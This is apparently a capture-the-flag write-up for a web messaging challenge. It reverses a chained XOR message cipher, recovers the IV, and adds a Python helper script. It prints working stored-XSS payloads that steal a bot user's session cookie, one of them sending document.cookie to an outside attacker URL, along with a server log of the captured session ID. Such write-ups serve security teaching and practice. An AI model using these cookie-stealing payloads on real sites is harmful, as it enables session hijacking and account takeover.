Begin
Register at http://128.238.66.214/login.php Send yourself messages until you figure out how the algorithm for encrypting works.Cipher
In short, it is an XOR algorithm which works like thisenc[0] = IV ^ KEY ^ PLAINTEXT[0] # PLAINTEXT[0] and enc[0] is equal 8bytes enc[1] = KEY ^ enc[0] ^ PLAINTEXT[1] enc[2] = KEY ^ enc[1] ^ PLAINTEXT[2] ...This works both ways for encrypting and decrypting. The IV can be found out relative easily we set PLAINTEXT[0] = KEY and we get the following IV ['0x17', '0x34', '0x17', '0x39', '0x11', '0x35', '0x24', '0x36'].
XSS
We can now proceed to get Dogs' SessionID. After injecting<form id="f" method="POST" action="compose.php"> <input name="to" value="test12"> <input name="title" value="pw"> <input name="key" value="a"> <input name="text" id="t"> </form> <script> document.getElementById("t").value=document.cookie;document.getElementById("f").submit(); </script>through the text field, we see... NOTHING. Apparently Dog has read its mail(message changes color when read), but doesn't reply back. The next try looks like this
<script>var url="http://$URL$?session="+document.cookie,theimg = document.createElement("img");theimg.src=url;document.body.appendChild(theimg);theimg.style.display="none";</script>Meanwhile on the serverside: >>128.238.*.* - - [30/Sep/2012:04:08:56 +0200] "GET /?session=PHPSESSID=****************3208r7aj40 HTTP/1.1" 200 8937 "http://localhost/download.php?id=101649" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1
Hello, yes this is dog
Change your session ID to dog, check messages id 1 to 6 (http://128.238.66.214/download.php?id=){ 1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56", 2: "\x17\x75\x56\x78\x50\x74\x65\x77", 3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e", 4: "\x17\x75\x56\x78\x50\x74\x65\x77", 5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b", 6: "\x17\x75\x56\x78\x50\x74\x65\x77", }and check the titles(5 Cat key is ILIKECARROTS). With this key we can read some of the messages and go further into the rabbit-hole. With the help if the obove key we decrypt all messages which results in one particular message: Catsareawesome.
After decrypting all the messages with this key and we get: Here, KEY{ITHISISAFLOwEERPOTTytPos} . Finished.
#!/usr/bin/env python # by spq import re import urllib import urllib2 def compose(_to, _title, _key, _text): r = opener.open( "http://128.238.66.214/compose.php", urllib.urlencode({"to": _to, "title": _title, "key": _key, "text": _text}), ) def get_last_msgid(): p = re.compile('download[.]php[?]id=([0-9]+)"') last = None for m in p.finditer(opener.open("http://128.238.66.214/outbox.php").read()): last = m.group(1) return last def get_msg(i): r = opener.open("http://128.238.66.214/download.php?id=" + i).read() return r[619:-31] def get_last_msg(): return get_msg(get_last_msgid()) opener = urllib2.build_opener() opener.addheaders.append(("Cookie", "PHPSESSID=$SESSSION")) def xor(a, b): assert len(a) == len(b) ret = "" for i in xrange(0, len(a)): ret += chr(ord(a[i]) ^ ord(b[i])) return ret def enc(key, text): iv = "\x17\x34\x17\x39\x11\x35\x24\x36" result = "" while len(text) % 8: text += chr("\x00") extendedkey = key while len(extendedkey) < len(text): extendedkey += key for i in xrange(0, len(text), 8): part = text[i : i + 8] result += xor(xor(extendedkey[i : i + 8], iv), part) iv = part return result # compose("Dog", "foo", "aabb", enc("aabbaabb",'<form id="f" method="POST" action="compose.php"><input name="to" value="spq"><input name="title" value="pw"><input name="key" value="a"><input name="text" id="t"></form><script>document.getElementById("t").value=document.cookie;document.getElementById("f").submit();</script>')) # print get_last_msg() # T= { # 1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56", # 2: "\x17\x75\x56\x78\x50\x74\x65\x77", # 3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e", # 4: "\x17\x75\x56\x78\x50\x74\x65\x77", # 5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b", # 6: "\x17\x75\x56\x78\x50\x74\x65\x77", # } # for i in range(1,6): # print enc("ILIKECARROTS", T[i]) # print enc("Catsareawesome", T[i])